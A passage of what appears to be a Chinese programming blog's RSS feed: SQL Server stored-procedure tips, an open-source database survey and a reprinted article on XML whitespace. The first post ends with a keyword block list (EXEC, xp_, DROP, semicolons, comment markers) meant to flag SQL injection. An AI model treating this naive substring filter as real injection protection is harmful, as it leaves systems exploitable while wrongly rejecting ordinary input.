<p style="margin-left: 21pt; text-align: left" align="left"><span style="font-size: 10pt; font-family: 'Courier New'">GO</span></p>
<p style="margin-left: 21pt; text-indent: 0cm"><span style="font-size: 10pt; color: blue; font-family: 'Courier New'">EXEC</span><span style="font-size: 10pt; font-family: 'Courier New'"> GetOrderInfo</span></p>
<p style="margin-left: 21pt; text-align: left" align="left"><strong>SQL2005</strong><span style="font-family: 宋体">引入了新的语句级重新编译技术，有效的防止了因为部分语句引起的整个过程或批的重新编译。因此在</span><strong>SQL2000</strong><span style="font-family: 宋体">中跟踪到的内容会与图示所示存在不同之处。</span><br />
<span style="font-family: 宋体">另一个对临时表的命名问题，请慎记不要随便起一个</span>#T1<span style="font-family: 宋体">作为临时表的名称。这在过程不调用其它过程时不会造成问题，但在调用的另一过程中也存在一个</span>#T1<span style="font-family: 宋体">的临时表时，就会造成问题。以上示例演示：</span><br />
<span style="font-size: 10pt; color: blue; font-family: 'Courier New'">SET</span><span style="font-size: 10pt; font-family: 'Courier New'"> <span style="color: blue">NOCOUNT</span> <span style="color: blue">ON</span><span style="color: gray">;</span></span></p>
<p style="margin-left: 21pt; text-align: left" align="left"><span style="font-size: 10pt; color: blue; font-family: 'Courier New'">USE</span><span style="font-size: 10pt; font-family: 'Courier New'"> tempdb<span style="color: gray">;</span></span></p>
<p style="margin-left: 21pt; text-align: left" align="left"><span style="font-size: 10pt; font-family: 'Courier New'">GO</span></p>
<p style="margin-left: 21pt; text-align: left" align="left"><span style="font-size: 10pt; color: blue; font-family: 'Courier New'">IF</span><span style="font-size: 10pt; font-family: 'Courier New'"> <span style="color: fuchsia">OBJECT_ID</span><span style="color: gray">(</span><span style="color: red">'dbo.proc1'</span><span style="color: gray">)</span> <span style="color: gray">IS</span> <span style="color: gray">NOT</span> <span style="color: gray">NULL</span></span></p>
<p style="margin-left: 21pt; text-align: left" align="left"><span style="font-size: 10pt; font-family: 'Courier New'">&nbsp; <span style="color: blue">DROP</span> <span style="color: blue">PROC</span> dbo<span style="color: gray">.</span>proc1<span style="color: gray">;</span></span></p>
<p style="margin-left: 21pt; text-align: left" align="left"><span style="font-size: 10pt; font-family: 'Courier New'">GO</span></p>
<p style="margin-left: 21pt; text-align: left" align="left"><span style="font-size: 10pt; color: blue; font-family: 'Courier New'">IF</span><span style="font-size: 10pt; font-family: 'Courier New'"> <span style="color: fuchsia">OBJECT_ID</span><span style="color: gray">(</span><span style="color: red">'dbo.proc2'</span><span style="color: gray">)</span> <span style="color: gray">IS</span> <span style="color: gray">NOT</span> <span style="color: gray">NULL</span></span></p>
<p style="margin-left: 21pt; text-align: left" align="left"><span style="font-size: 10pt; font-family: 'Courier New'">&nbsp; <span style="color: blue">DROP</span> <span style="color: blue">PROC</span> dbo<span style="color: gray">.</span>proc2<span style="color: gray">;</span></span></p>
<p style="margin-left: 21pt; text-align: left" align="left"><span style="font-size: 10pt; font-family: 'Courier New'">GO</span></p>
<p style="margin-left: 21pt; text-align: left" align="left"><span style="font-size: 10pt; color: blue; font-family: 'Courier New'">CREATE</span><span style="font-size: 10pt; font-family: 'Courier New'"> <span style="color: blue">PROC</span> dbo<span style="color: gray">.</span>proc1</span></p>
<p style="margin-left: 21pt; text-align: left" align="left"><span style="font-size: 10pt; color: blue; font-family: 'Courier New'">AS</span></p>
<p style="margin-left: 21pt; text-align: left" align="left"><span style="font-size: 10pt; color: blue; font-family: 'Courier New'">CREATE</span><span style="font-size: 10pt; font-family: 'Courier New'"> <span style="color: blue">TABLE</span> #T1<span style="color: gray">(</span>col1 <span style="color: blue">INT</span> <span style="color: gray">NOT</span> <span style="color: gray">NULL);</span></span></p>
<p style="margin-left: 21pt; text-align: left" align="left"><span style="font-size: 10pt; color: blue; font-family: 'Courier New'">INSERT</span><span style="font-size: 10pt; font-family: 'Courier New'"> <span style="color: blue">INTO</span> #T1 <span style="color: blue">VALUES</span><span style="color: gray">(</span>1<span style="color: gray">);</span></span></p>
<p style="margin-left: 21pt; text-align: left" align="left"><span style="font-size: 10pt; color: blue; font-family: 'Courier New'">SELECT</span><span style="font-size: 10pt; font-family: 'Courier New'"> <span style="color: gray">*</span> <span style="color: blue">FROM</span> #T1<span style="color: gray">;</span></span></p>
<p style="margin-left: 21pt; text-align: left" align="left"><span style="font-size: 10pt; color: blue; font-family: 'Courier New'">EXEC</span><span style="font-size: 10pt; font-family: 'Courier New'"> dbo<span style="color: gray">.</span>proc2<span style="color: gray">;</span></span></p>
<p style="margin-left: 21pt; text-align: left" align="left"><span style="font-size: 10pt; font-family: 'Courier New'">GO</span></p>
<p style="margin-left: 21pt; text-align: left" align="left"><span style="font-size: 10pt; color: blue; font-family: 'Courier New'">CREATE</span><span style="font-size: 10pt; font-family: 'Courier New'"> <span style="color: blue">PROC</span> dbo<span style="color: gray">.</span>proc2</span></p>
<p style="margin-left: 21pt; text-align: left" align="left"><span style="font-size: 10pt; color: blue; font-family: 'Courier New'">AS</span></p>
<p style="margin-left: 21pt; text-align: left" align="left"><span style="font-size: 10pt; color: blue; font-family: 'Courier New'">CREATE</span><span style="font-size: 10pt; font-family: 'Courier New'"> <span style="color: blue">TABLE</span> #T1<span style="color: gray">(</span>col1 <span style="color: blue">INT</span> <span style="color: gray">NULL,</span> col2 <span style="color: blue">INT</span> <span style="color: gray">NOT</span> <span style="color: gray">NULL);</span></span></p>
<p style="margin-left: 21pt; text-align: left" align="left"><span style="font-size: 10pt; color: blue; font-family: 'Courier New'">INSERT</span><span style="font-size: 10pt; font-family: 'Courier New'"> <span style="color: blue">INTO</span> #T1 <span style="color: blue">VALUES</span><span style="color: gray">(</span>2<span style="color: gray">,</span> 2<span style="color: gray">);</span></span></p>
<p style="margin-left: 21pt; text-align: left" align="left"><span style="font-size: 10pt; color: blue; font-family: 'Courier New'">SELECT</span><span style="font-size: 10pt; font-family: 'Courier New'"> <span style="color: gray">*</span> <span style="color: blue">FROM</span> #T1<span style="color: gray">;</span></span></p>
<p style="margin-left: 21pt; text-align: left" align="left"><span style="font-size: 10pt; font-family: 'Courier New'">GO</span></p>
<p style="margin-left: 21pt; text-align: left" align="left"><span style="font-size: 10pt; color: blue; font-family: 'Courier New'">EXEC</span><span style="font-size: 10pt; font-family: 'Courier New'"> dbo<span style="color: gray">.</span>proc1<span style="color: gray">;</span></span></p>
<p style="margin-left: 21pt"><span style="font-family: 宋体">因此，请在对临时表命名时使用过程名称与临时表名称的组，如</span>#proc_T1<span style="font-family: 宋体">。这样会有效的防止此类问题的出现。</span></p>
<p style="margin-left: 21pt; text-indent: -21pt; text-align: left" align="left"><span style="font-size: 10pt; color: gray; font-family: 'Courier New'">4.<span style="font: 7pt 'Times New Roman'">&nbsp;&nbsp; </span></span><span style="font-family: 宋体">另一个值得注意的问题是，我们不应该使用</span>sp_<span style="font-family: 宋体">作为自定义存储过程的前缀。这是微软用作系统存储过程的前缘。在调用以</span>sp_<span style="font-family: 宋体">开头的过程时，会首先在</span>master<span style="font-family: 宋体">数据库中进行查找，如果找不到才会在用户数据库中查找。如果要使过程真正成为系统过程要使用</span><em>sp_MS_marksystemobject</em><span style="font-family: 宋体">过程，如下所示：</span><br />
<span style="font-size: 10pt; color: blue; font-family: 'Courier New'">USE</span><span style="font-size: 10pt; font-family: 'Courier New'"> <span style="color: blue">master</span><span style="color: gray">;</span></span></p>
<p style="text-indent: 21pt; text-align: left" align="left"><span style="font-size: 10pt; font-family: 'Courier New'">GO</span></p>
<p style="margin-left: 21pt; text-indent: 0cm"><span style="font-size: 10pt; color: blue; font-family: 'Courier New'">EXEC</span><span style="font-size: 10pt; font-family: 'Courier New'"> <span style="color: maroon">sp_MS_marksystemobject</span> <span style="color: red">'dbo.sp_Proc1'</span><span style="color: gray">;</span></span><br />
<span style="font-family: 宋体">同样对表或其它对象的命名时也不要以</span>sp_<span style="font-family: 宋体">作为前缀。</span></p>
<p style="margin-left: 21pt; text-indent: -21pt; text-align: left" align="left"><span style="font-size: 10pt; color: gray; font-family: 'Courier New'">5.<span style="font: 7pt 'Times New Roman'">&nbsp;&nbsp; </span></span><span style="font-family: 宋体">另一个问题是安全方面的，因为传入的参数可能会引起脚本注入的危险，因此应该对每个参数进行一些判断，以下是一种通用的判断语句，可应用于每个参数：</span><br />
<span style="font-size: 10pt; color: blue; font-family: 'Courier New'">IF</span><span style="font-size: 10pt; font-family: 'Courier New'"> <span style="color: fuchsia">UPPER</span><span style="color: gray">(</span>@cols<span style="color: gray">)</span> <span style="color: gray">LIKE</span> <span style="color: fuchsia">UPPER</span><span style="color: gray">(</span>N<span style="color: red">'%0x%'</span><span style="color: gray">)</span></span></p>
<p style="margin-left: 10.5pt; text-align: left" align="left"><span style="font-size: 10pt; font-family: 'Courier New'">&nbsp; <span style="color: gray">OR</span> <span style="color: fuchsia">UPPER</span><span style="color: gray">(</span>@cols<span style="color: gray">)</span> <span style="color: gray">LIKE</span> <span style="color: fuchsia">UPPER</span><span style="color: gray">(</span>N<span style="color: red">'%;%'</span><span style="color: gray">)</span></span></p>
<p style="margin-left: 10.5pt; text-align: left" align="left"><span style="font-size: 10pt; font-family: 'Courier New'">&nbsp; <span style="color: gray">OR</span> <span style="color: fuchsia">UPPER</span><span style="color: gray">(</span>@cols<span style="color: gray">)</span> <span style="color: gray">LIKE</span> <span style="color: fuchsia">UPPER</span><span style="color: gray">(</span>N<span style="color: red">'%''%'</span><span style="color: gray">)</span></span></p>
<p style="margin-left: 10.5pt; text-align: left" align="left"><span style="font-size: 10pt; font-family: 'Courier New'">&nbsp; <span style="color: gray">OR</span> <span style="color: fuchsia">UPPER</span><span style="color: gray">(</span>@cols<span style="color: gray">)</span> <span style="color: gray">LIKE</span> <span style="color: fuchsia">UPPER</span><span style="color: gray">(</span>N<span style="color: red">'%--%'</span><span style="color: gray">)</span></span></p>
<p style="margin-left: 10.5pt; text-align: left" align="left"><span style="font-size: 10pt; font-family: 'Courier New'">&nbsp; <span style="color: gray">OR</span> <span style="color: fuchsia">UPPER</span><span style="color: gray">(</span>@cols<span style="color: gray">)</span> <span style="color: gray">LIKE</span> <span style="color: fuchsia">UPPER</span><span style="color: gray">(</span>N<span style="color: red">'%/*%*/%'</span><span style="color: gray">)</span></span></p>
<p style="margin-left: 10.5pt; text-align: left" align="left"><span style="font-size: 10pt; font-family: 'Courier New'">&nbsp; <span style="color: gray">OR</span> <span style="color: fuchsia">UPPER</span><span style="color: gray">(</span>@cols<span style="color: gray">)</span> <span style="color: gray">LIKE</span> <span style="color: fuchsia">UPPER</span><span style="color: gray">(</span>N<span style="color: red">'%EXEC%'</span><span style="color: gray">)</span></span></p>
<p style="margin-left: 10.5pt; text-align: left" align="left"><span style="font-size: 10pt; font-family: 'Courier New'">&nbsp; <span style="color: gray">OR</span> <span style="color: fuchsia">UPPER</span><span style="color: gray">(</span>@cols<span style="color: gray">)</span> <span style="color: gray">LIKE</span> <span style="color: fuchsia">UPPER</span><span style="color: gray">(</span>N<span style="color: red">'%xp_%'</span><span style="color: gray">)</span></span></p>
<p style="margin-left: 10.5pt; text-align: left" align="left"><span style="font-size: 10pt; font-family: 'Courier New'">&nbsp; <span style="color: gray">OR</span> <span style="color: fuchsia">UPPER</span><span style="color: gray">(</span>@cols<span style="color: gray">)</span> <span style="color: gray">LIKE</span> <span style="color: fuchsia">UPPER</span><span style="color: gray">(</span>N<span style="color: red">'%sp_%'</span><span style="color: gray">)</span></span></p>
<p style="margin-left: 10.5pt; text-align: left" align="left"><span style="font-size: 10pt; font-family: 'Courier New'">&nbsp; <span style="color: gray">OR</span> <span style="color: fuchsia">UPPER</span><span style="color: gray">(</span>@cols<span style="color: gray">)</span> <span style="color: gray">LIKE</span> <span style="color: fuchsia">UPPER</span><span style="color: gray">(</span>N<span style="color: red">'%SELECT%'</span><span style="color: gray">)</span></span></p>
<p style="margin-left: 10.5pt; text-align: left" align="left"><span style="font-size: 10pt; font-family: 'Courier New'">&nbsp; <span style="color: gray">OR</span> <span style="color: fuchsia">UPPER</span><span style="color: gray">(</span>@cols<span style="color: gray">)</span> <span style="color: gray">LIKE</span> <span style="color: fuchsia">UPPER</span><span style="color: gray">(</span>N<span style="color: red">'%INSERT%'</span><span style="color: gray">)</span></span></p>
<p style="margin-left: 10.5pt; text-align: left" align="left"><span style="font-size: 10pt; font-family: 'Courier New'">&nbsp; <span style="color: gray">OR</span> <span style="color: fuchsia">UPPER</span><span style="color: gray">(</span>@cols<span style="color: gray">)</span> <span style="color: gray">LIKE</span> <span style="color: fuchsia">UPPER</span><span style="color: gray">(</span>N<span style="color: red">'%UPDATE%'</span><span style="color: gray">)</span></span></p>
<p style="margin-left: 10.5pt; text-align: left" align="left"><span style="font-size: 10pt; font-family: 'Courier New'">&nbsp; <span style="color: gray">OR</span> <span style="color: fuchsia">UPPER</span><span style="color: gray">(</span>@cols<span style="color: gray">)</span> <span style="color: gray">LIKE</span> <span style="color: fuchsia">UPPER</span><span style="color: gray">(</span>N<span style="color: red">'%DELETE%'</span><span style="color: gray">)</span></span></p>
<p style="margin-left: 10.5pt; text-align: left" align="left"><span style="font-size: 10pt; font-family: 'Courier New'">&nbsp; <span style="color: gray">OR</span> <span style="color: fuchsia">UPPER</span><span style="color: gray">(</span>@cols<span style="color: gray">)</span> <span style="color: gray">LIKE</span> <span style="color: fuchsia">UPPER</span><span style="color: gray">(</span>N<span style="color: red">'%TRUNCATE%'</span><span style="color: gray">)</span></span></p>
<p style="margin-left: 10.5pt; text-align: left" align="left"><span style="font-size: 10pt; font-family: 'Courier New'">&nbsp; <span style="color: gray">OR</span> <span style="color: fuchsia">UPPER</span><span style="color: gray">(</span>@cols<span style="color: gray">)</span> <span style="color: gray">LIKE</span> <span style="color: fuchsia">UPPER</span><span style="color: gray">(</span>N<span style="color: red">'%CREATE%'</span><span style="color: gray">)</span></span></p>
<p style="margin-left: 10.5pt; text-align: left" align="left"><span style="font-size: 10pt; font-family: 'Courier New'">&nbsp; <span style="color: gray">OR</span> <span style="color: fuchsia">UPPER</span><span style="color: gray">(</span>@cols<span style="color: gray">)</span> <span style="color: gray">LIKE</span> <span style="color: fuchsia">UPPER</span><span style="color: gray">(</span>N<span style="color: red">'%ALTER%'</span><span style="color: gray">)</span></span></p>
<p style="margin-left: 10.5pt; text-align: left" align="left"><span style="font-size: 10pt; font-family: 'Courier New'">&nbsp; <span style="color: gray">OR</span> <span style="color: fuchsia">UPPER</span><span style="color: gray">(</span>@cols<span style="color: gray">)</span> <span style="color: gray">LIKE</span> <span style="color: fuchsia">UPPER</span><span style="color: gray">(</span>N<span style="color: red">'%DROP%'</span><span style="color: gray">)</span></span></p>
<p style="margin-left: 10.5pt; text-align: left" align="left"><span style="font-size: 10pt; color: blue; font-family: 'Courier New'">BEGIN</span></p>
<p style="margin-left: 10.5pt; text-align: left" align="left"><span style="font-size: 10pt; font-family: 'Courier New'">&nbsp; <span style="color: blue">SET</span> @msg <span style="color: gray">=</span> N<span style="color: red">'Possible SQL injection attempt.'</span><span style="color: gray">;</span></span></p>
<p style="margin-left: 10.5pt; text-align: left" align="left"><span style="font-size: 10pt; font-family: 'Courier New'">&nbsp; <span style="color: blue">RAISERROR</span><span style="color: gray">(</span>@msg<span style="color: gray">,</span> 16<span style="color: gray">,</span> 1<span style="color: gray">);</span></span></p>
<p style="text-indent: 20pt"><span style="font-size: 10pt; color: blue; font-family: 'Courier New'">RETURN</span><span style="font-size: 10pt; color: gray; font-family: 'Courier New'">;</span></p>
<p style="text-indent: 10pt"><span style="font-size: 10pt; color: blue; font-family: 'Courier New'">END</span></p>
<p style="text-indent: 10pt"><span style="font-size: 10pt; font-family: 宋体">以上是个人的一点看法，如果有任何异议请与我一同分享！</span></p>]]></description>
    </item>
    <item>
      <link>http://max.cszi.com/Blog/Blog.aspx?Id=440</link>
      <title><![CDATA[开源有感系列 之开源数据库有感]]></title>
      <author>一线风</author>
      <category>程序开发</category>
      <pubDate>2008-2-27 18:28:41</pubDate>
      <guid>http://max.cszi.com/Blog/Blog.aspx?Id=440</guid>
      <comments>
              /Blog/Blog.aspx?Id=440#commentbox
            </comments>
      <description><![CDATA[<p>开源世界真是太奇妙了，虽然不排除卑鄙无耻的直接盗用并贯为自己的产品，但开源可以无私到随便你怎样用。 <br />
<br />
接触开源有很长的一段时间了，先是学习别人的，然后还参与了开源，在sf.net上，我主持和参与了数个开源项目，当然，都不是大型的项目，只是尝试一下。 <br />
<br />
我所关注的开源项目方面很多，每方面都有很多优秀的作品，我将会在接下来的系列随笔中介绍，这次介绍数据库。 <br />
<br />
这个星球上的数据库实在不胜枚举，这里只列一些我接触过的常见的。</p><p>原文：<a href="http://www.cnblogs.com/unruledboy/archive/2005/02/04/98604.html">http://www.cnblogs.com/unruledboy/archive/2005/02/04/98604.html</a></p>
<p>开源世界真是太奇妙了，虽然不排除卑鄙无耻的直接盗用并贯为自己的产品，但开源可以无私到随便你怎样用。 <br />
<br />
接触开源有很长的一段时间了，先是学习别人的，然后还参与了开源，在sf.net上，我主持和参与了数个开源项目，当然，都不是大型的项目，只是尝试一下。 <br />
<br />
我所关注的开源项目方面很多，每方面都有很多优秀的作品，我将会在接下来的系列随笔中介绍，这次介绍数据库。 <br />
<br />
这个星球上的数据库实在不胜枚举，这里只列一些我接触过的常见的。 <br />
<br />
可以稍微夸张点说，有交互的应用，起码得用一下数据保存，即便是自定义结构的数据保存，还是最常见的INI、XML等，都可以算是&ldquo;数据库&rdquo;，真正点的，如DBase系列、FoxBase、FoxPro、MSAccess、InterBase、MS SQL Server、Oracle、DB2等，这些是商业化的数据库，前面几个只能算是数据库，后面几个是RMDBS（关系型数据库管理系统）。 <br />
<br />
对应商业化的，有开源的：<a href="http://www.sqlite.org/">SQLite</a>、<a href="http://www.simplesql.org/">SimpleSQL</a>、<a href="http://www.sleepycat.com/">Berkely DB</a>、<a href="http://www.minosse.com/">Minosse</a>、<a href="http://firebird.sourceforge.net/">Firebird</a>( 前身是是Borland公司的InterBase)、<a href="http://www.postgresql.org/">PostgreSQL</a>、<a href="http://www.mysql.com/">MySQL</a>等。 <br />
<br />
□<a href="http://www.sqlite.org/">SQLite</a>：大家可以看我的SQLite系列随笔，C编写的，可以跨操作平台，支持大部分ANSI SQL 92，它是嵌入式的轻量级关系形数据库引擎，只需要一个DLL，体积为250k，数据库也只是一个文件，零配置，便可工作。既然开源，你甚至可以把它嵌入你的程序中。核心开发人员只有一个，最近加入了另外一个，也就是2个人而已，实在佩服，目前发展到3.1.0，相当高效稳定，有开源驱动在sourceforge.net上有其ADO.NET Data Provider for SQLite ：<a href="https://sourceforge.net/projects/adodotnetsqlite/" target="_new"><font color="#1a8bc8">https://sourceforge.net/projects/adodotnetsqlite/</font></a> 。 <br />
<br />
□<a href="http://www.simplesql.org/">SimpleSQL</a>：相对<a href="http://www.sqlite.org/">SQLite</a>要大几倍，但也是轻量级的，功能稍微强大一点，C++编写，有OLE、Java等版本。 <br />
<br />
□<a href="http://www.sleepycat.com/">Berkely DB</a>：C++编写的大型关系型数据库系统，还额外地支持XML(把XML当成数据库)，号称2百万的安装量，MySQL也只不过号称5百万安装量而已，跨平台。 <br />
<br />
□<a href="http://www.minosse.com/">Minosse</a>：纯C#编写的大型关系型数据库系统，理想是超越MS SQL Server！最新版本：<a href="http://www.minosse.com/news/230804.htm">0.2.0</a>，真难得，纯Java写的看得多了，纯C#的，不是移植别人的，还是第一个，佩服作者：包含C/S和嵌入式版本，并可跨越大部分平台，因为它不用Windows的东西，可以在Mono下编译。 <br />
<br />
□<a href="http://firebird.sourceforge.net/">Firebird</a>：这个东西太牛了，目前有<a href="http://firebird.sourceforge.net/index.php?op=devel&amp;sub=engine&amp;id=rnotes0152_09&amp;nosb=1">1.5稳定版本</a>已经拥有大量特性，完全支持ANSI SQL92、98等，一些超酷的特性让人疯狂(<a href="http://firebird.sourceforge.net/guide/FBFactsheet.html">1.0特性</a>、<a href="http://firebird.sourceforge.net/guide/FB15_New.html">1.5特性</a>，<a href="http://firebird.sourceforge.net/pdfmanual/Firebird-1.5-QuickStart.pdf">从这里开始研究</a>)，主要开发人员是一个俄罗斯人，目前开发队伍已经扩大到近100人，有3种模式，单机独立，典型C/S，超级服务器。2.0版本和3.0版本将在近期推出，看完其<a href="http://firebird.sourceforge.net/index.php?op=devel&amp;sub=engine&amp;id=roadmap">路线图</a>(2.0、3.0)你就会疯掉。有<a href="http://firebird.sourceforge.net/index.php?op=devel&amp;sub=netprovider">.NET驱动</a>，目前是<a href="http://firebird.sourceforge.net/index.php?op=files&amp;id=netprovider">1.7beta</a>版。主要特性：&nbsp; <br />
&nbsp;&nbsp;&nbsp; ◆A.C.I.D；&nbsp; <br />
&nbsp;&nbsp;&nbsp; ◆MGA(任何版本的引擎都可以处理同一数据库记录)；&nbsp; <br />
&nbsp;&nbsp;&nbsp; ◆PSQL(存储过程)超级强大，ms sql相对的太次，它啥都能在服务器端实现并推送到客户端成为强大的报表，存储过程；&nbsp; <br />
&nbsp;&nbsp;&nbsp; ◆触发器都可以在客户端获取监控追踪；&nbsp; <br />
&nbsp;&nbsp;&nbsp; ◆自动只读模式；&nbsp; <br />
&nbsp;&nbsp;&nbsp; ◆创新的事务保证绝对不会出错；&nbsp; <br />
&nbsp;&nbsp;&nbsp; ◆24*7运行中仍然可以随时备份数据库；&nbsp; <br />
&nbsp;&nbsp;&nbsp; ◆统一触发器：任何操作都可以让某表唯一的触发器来总控；&nbsp; <br />
&nbsp;&nbsp;&nbsp; ◆大部分语言都可以写plug-in，并直接在存储过程中调用函数；&nbsp; <br />
&nbsp;&nbsp;&nbsp; ◆c-&gt;c++，更加少的代码但更加快的速度；&nbsp; <br />
&nbsp;&nbsp;&nbsp; ◆3种运行模式，甚至可以嵌入式；&nbsp; <br />
&nbsp;&nbsp;&nbsp; ◆主流语言都可以调用它；&nbsp; <br />
&nbsp;&nbsp;&nbsp; ◆动态sql执行；&nbsp; <br />
&nbsp;&nbsp;&nbsp; ◆事务保存点； <br />
<br />
□<a href="http://www.postgresql.org/">PostgreSQL</a>：POSTGRES数据库的后开源版本，号称拥有任何其他数据库没有的大量新特性，似乎目标是要做超大型的OO关系型数据库系统，目前已经发展到<a href="http://www.postgresql.org/docs/whatsnew">8.0</a>，有<a href="http://gborg.postgresql.org/project/npgsql/projdisplay.php">.NET驱动</a>，<a href="http://www.pgsqldb.org/">中文官方网站</a>有详细介绍。 <br />
<br />
□<a href="http://www.mysql.com/">MySQL</a>：这个，不用说了吧？号称全球最受欢迎的开源数据库，但让我奇怪的是，<a href="http://www.postgresql.org/">PostgreSQL</a>都有简体中文的支持：包括内核、管理工具、QA等等，在最新版本<a href="http://www.mysql.com/">MySQL</a>中，我却没有发现... ，有<a href="http://dev.mysql.com/downloads/dotnet.html">.NET驱动</a>，其中<a href="http://www.cnblogs.com/downloads/connector/net/1.0.html"><font color="#0000ff">MySQL Connector/Net</font></a>就是原来在sf.net上的ByteFX.Data项目，作者已经加入了MySQL团队，参看《<a id="viewpost1_TitleUrl" href="http://www.cnblogs.com/unruledboy/archive/2004/09/20/45005.html"><font color="#800080">感慨 20 之开源的前途/钱图？（１数据库）</font></a>》。</p>]]></description>
    </item>
    <item>
      <link>http://max.cszi.com/Blog/Blog.aspx?Id=438</link>
      <title><![CDATA[XML 中的空白字符须知]]></title>
      <author>一线风</author>
      <category>程序开发</category>
      <pubDate>2008-2-25 12:49:15</pubDate>
      <guid>http://max.cszi.com/Blog/Blog.aspx?Id=438</guid>
      <comments>
              /Blog/Blog.aspx?Id=438#commentbox
            </comments>
      <description><![CDATA[<p><span class="boldbodycopy">了解 XML 空白字符的概念并掌握如何避免与之相关的问题的技巧。</span></p>
<p class="legalese">很多时候，您可能都没注意到，在 XML 中所做的更改影响着您访问 XML 文档中数据的方式。例如：</p>
<pre>&lt;Author&gt;&lt;FirstName&gt;John&lt;/FirstName&gt;&lt;LastName&gt;Smith&lt;/LastName&gt;&lt;/Author&gt;</pre>
<p>完全不同于</p>
<pre>&lt;Author&gt;
&lt;FirstName&gt;John&lt;/FirstName&gt;
&lt;LastName&gt;Smith&lt;/LastName&gt;<br />&lt;/Author&gt;</pre><p><span class="boldbodycopy">原文地址：<a href="http://www.oracle.com/technology/global/cn/pub/articles/wang-whitespace.html">http://www.oracle.com/technology/global/cn/pub/articles/wang-whitespace.html</a></span></p>

<p>以下是一个完整的示例（请参阅<a class="bodylink" href="http://www.oracle.com/technology/pub/files/wang-whitespace-samples.zip">示例代码</a>中的示例 1）：假设您希望使用 DOM API 获取 &lt;Author&gt; 的第一个子元素，如下所示：</p>
<pre>XMLDocument doc = parser.getDocument();
Element elem = doc.getDocumentElement();
Node node = elem.getFirstChild();</pre>
<p>利用 Oracle XDK DOM 分析器的默认设置，第一个文档返回 &lt;FirstName&gt; 的同时，第二个文档返回一个为空白字符节点的文本节点。</p>
<p>同样，有时 XSLT 转换不会生成您预期的结果。（请参阅示例 2。）XML 文档需要使用 XSLT 进行转换。XSL 样式表使用 position() 函数来为 &lt;Chapter&gt; 和 &lt;Section&gt; 元素创建排序信息：</p>
<pre>&lt;?xml version=&quot;1.0&quot;?&gt;
&lt;Book&gt;
&lt;Chapter&gt;
&lt;Section/&gt;
&lt;Section/&gt;
&lt;Section/&gt;
&lt;/Chapter&gt;
&lt;Chapter&gt;
&lt;Section/&gt;
&lt;Section/&gt;
&lt;Section/&gt;
&lt;/Chapter&gt;
&lt;/Book&gt;</pre>
<p>然而，以下 XSL 样式表：</p>
<pre>&lt;?xml version=&quot;1.0&quot;?&gt;
&lt;xsl:stylesheet version=&quot;1.0&quot; xmlns:xsl=&quot;http://www.w3.org/1999/XSL/Transform&quot;&gt;
&lt;xsl:output method=&quot;xml&quot; indent=&quot;yes&quot;/&gt;</pre>
<pre>&lt;xsl:template match=&quot;*&quot;&gt;
&lt;xsl:element name=&quot;{local-name()}&quot;&gt;
&lt;xsl:attribute name=&quot;Position&quot;&gt;
&lt;xsl:value-of select=&quot;position()&quot;/&gt;
&lt;/xsl:attribute&gt;
&lt;xsl:apply-templates select=&quot;@*|node()&quot;/&gt;
&lt;/xsl:element&gt;
&lt;/xsl:template&gt;
&lt;/xsl:stylesheet&gt;</pre>
<p>并不会按期望运行，它将产生以下结果：</p>
<pre>&lt;?xml version = '1.0' encoding = 'UTF-8'?&gt;
&lt;Book Position=&quot;1&quot;&gt;
&lt;Chapter Position=&quot;2&quot;&gt;
&lt;Section Position=&quot;2&quot;/&gt;
&lt;Section Position=&quot;4&quot;/&gt;
&lt;Section Position=&quot;6&quot;/&gt;
&lt;/Chapter&gt;
&lt;Chapter Position=&quot;4&quot;&gt;
&lt;Section Position=&quot;2&quot;/&gt;
&lt;Section Position=&quot;4&quot;/&gt;
&lt;Section Position=&quot;6&quot;/&gt;
&lt;/Chapter&gt;
&lt;/Book&gt;</pre>
<p>位置不正确是由空白字符造成的。如果在 XSLT 转换中调用 position() 函数删除之前使用以下样式表删除空白字符：</p>
<pre>&lt;xsl:stylesheet xmlns:xsl=&quot;http://www.w3.org/1999/XSL/Transform&quot; version=&quot;1.0&quot;&gt;
&lt;xsl:output method=&quot;xml&quot; omit-xml-declaration=&quot;yes&quot;/&gt; 
<strong>&lt;xsl:strip-space elements=&quot;*&quot;/&gt;</strong>
&lt;xsl:template match=&quot;@*|node()&quot;&gt;
&lt;xsl:copy&gt;
&lt;xsl:apply-templates select=&quot;@*|node()&quot;/&gt;
&lt;/xsl:copy&gt;
&lt;/xsl:template&gt;
&lt;/xsl:stylesheet&gt;</pre>
<p>将生成期望的结果：</p>
<pre>&lt;?xml version = '1.0' encoding = 'UTF-8'?&gt;
&lt;Book Position=&quot;1&quot;&gt;
&lt;Chapter Position=&quot;1&quot;&gt;
&lt;Section Position=&quot;1&quot;/&gt;
&lt;Section Position=&quot;2&quot;/&gt;
&lt;Section Position=&quot;3&quot;/&gt;
&lt;/Chapter&gt;
&lt;Chapter Position=&quot;2&quot;&gt;
&lt;Section Position=&quot;1&quot;/&gt;
&lt;Section Position=&quot;2&quot;/&gt;
&lt;Section Position=&quot;3&quot;/&gt;
&lt;/Chapter&gt;
&lt;/Book&gt;</pre>
<p>对于此例，如果不希望删去所有 XML 元素的空白字符，可使用 &lt;xsl:strip-space element=&quot;Book,Chapter, Section&quot;&gt; 代替。</p>
<p>以下部分将介绍 XML 空白字符的概念以及避免此类问题的技巧。</p>
<h2>什么是 XML 空白字符？</h2>
<p class="style2">XML 将以下四种字符归为空白字符：回车符（\r 或 ch(13)）、换行符（\n 或 ch(10)）、制表符 (\t) 以及空格 (' ')。在 XML 文档中，空白字符分为两类：</p>
<ul>
    <li><em>有意义空白字符</em> 是文档内容的一部分，应予以保留。</li>
    <li><em>无意义空白字符</em> 在编辑 XML 文档时使用，以增加可读性。这些空白字符一般在文档交付时不予保留。</li>
</ul>
<p>通常，若没有 DTD 或 XML 模式定义，所有空白字符都是有意义空白字符，应当保留。然而，如果有 DTD 或 XML 模式定义，则只有以下内容中的空白字符有意义：</p>
<pre>&lt;sig&gt;
   ------------------   
John Smith
Product Manager   
Example.com   
   --------------------
&lt;/sig&gt;</pre>
<h2>XML 处理器如何处理 XML 空白字符</h2>
<p>XML 标准详细说明了 XML 处理器应如何处理空白字符。</p>
<p><strong>XML 分析</strong>：XML 规范提供了一个内置属性<strong> xml:space </strong>来告知 XML 分析器其是否应忽略空白字符。该属性由其根元素的子元素来继承。声明时，必须将其指定为枚举类型，其可能的值只能是&ldquo;<em>default</em>&rdquo;和&ldquo;<em>preserve</em>&rdquo;。如果指定为&ldquo;<em>preserve</em>&rdquo;，则所定义元素内的空白字符必须保留。</p>
